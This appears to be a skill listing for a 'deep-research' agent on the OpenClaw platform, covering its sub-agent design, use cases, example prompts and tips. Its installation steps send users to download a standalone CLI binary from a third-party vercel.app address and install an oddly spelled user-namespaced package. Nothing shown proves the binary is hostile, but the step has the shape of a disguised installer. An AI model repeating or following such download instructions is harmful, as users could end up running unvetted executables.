deep-research

What This Skill Does

The Deep Research Agent is an advanced analytical engine designed for OpenClaw that handles complex, multi-layered inquiries which standard search agents cannot resolve. Instead of a single query-and-respond loop, this agent utilizes a recursive decomposition strategy. It breaks broad, high-level objectives into granular sub-tasks, orchestrates specialized sub-agents to explore these threads in parallel, and maintains a vast memory buffer to synthesize information from large datasets. By moving beyond shallow answers, it builds a structural foundation for complex problem-solving, ensuring that the final output is not just a summary, but a comprehensive, actionable research dossier.

Installation

To leverage the Deep Research capabilities, you must first ensure your environment is prepared.

1. Install the OpenClawCLI by downloading the appropriate binary for your OS from https://openclawcli.vercel.app/.
2. Once the CLI is operational, configure your Model Context Protocol (MCP) settings to include the skill.
3. Execute the following command in your terminal: clawhub install openclaw/skills/skills/thiagoruss0/deep-researchj.
4. Verify the installation by checking your active skill list within the OpenClaw interface.

Use Cases

• Strategic Market Intelligence: Analyze the long-term impact of emerging technologies (like solid-state batteries) on specific global supply chains.
• Technical Due Diligence: Perform deep-dives into software architecture security, such as auditing eBPF-based observability tools in complex Kubernetes clusters.
• Academic & Policy Synthesis: Aggregate cross-disciplinary literature to report on enterprise AI adoption, weighing multiple viewpoints and historical data.
• Project Lifecycle Management: Tracking long-term research threads where iterative feedback and cumulative memory are required to reach a conclusion.

Example Prompts

1. "/deepsearch Conduct a comprehensive analysis of the current state of autonomous AI agents in enterprise environments."
2. "/deepsearch Research the impact of solid-state battery technology on the global EV supply chain over the next decade."
3. "/deepsearch Technical deep-dive into the security implications of eBPF-based observability tools in Kubernetes."

Tips & Limitations

• Be Specific: While the agent handles complexity well, providing clear constraints or scope (e.g., timeframes or target industries) yields significantly sharper reports.
• Context Persistence: Because the agent uses cross-thread memory, ensure you don't 'clear cache' mid-research if you intend to iterate on the current findings.
• Resource Intensity: As this agent performs multi-step recursive planning, it may take longer to provide an initial response than standard tools. Patience is rewarded with depth.
• Validation: While highly accurate, always review the synthesized final reports for sensitive business applications, as the breadth of source material can occasionally include conflicting data points.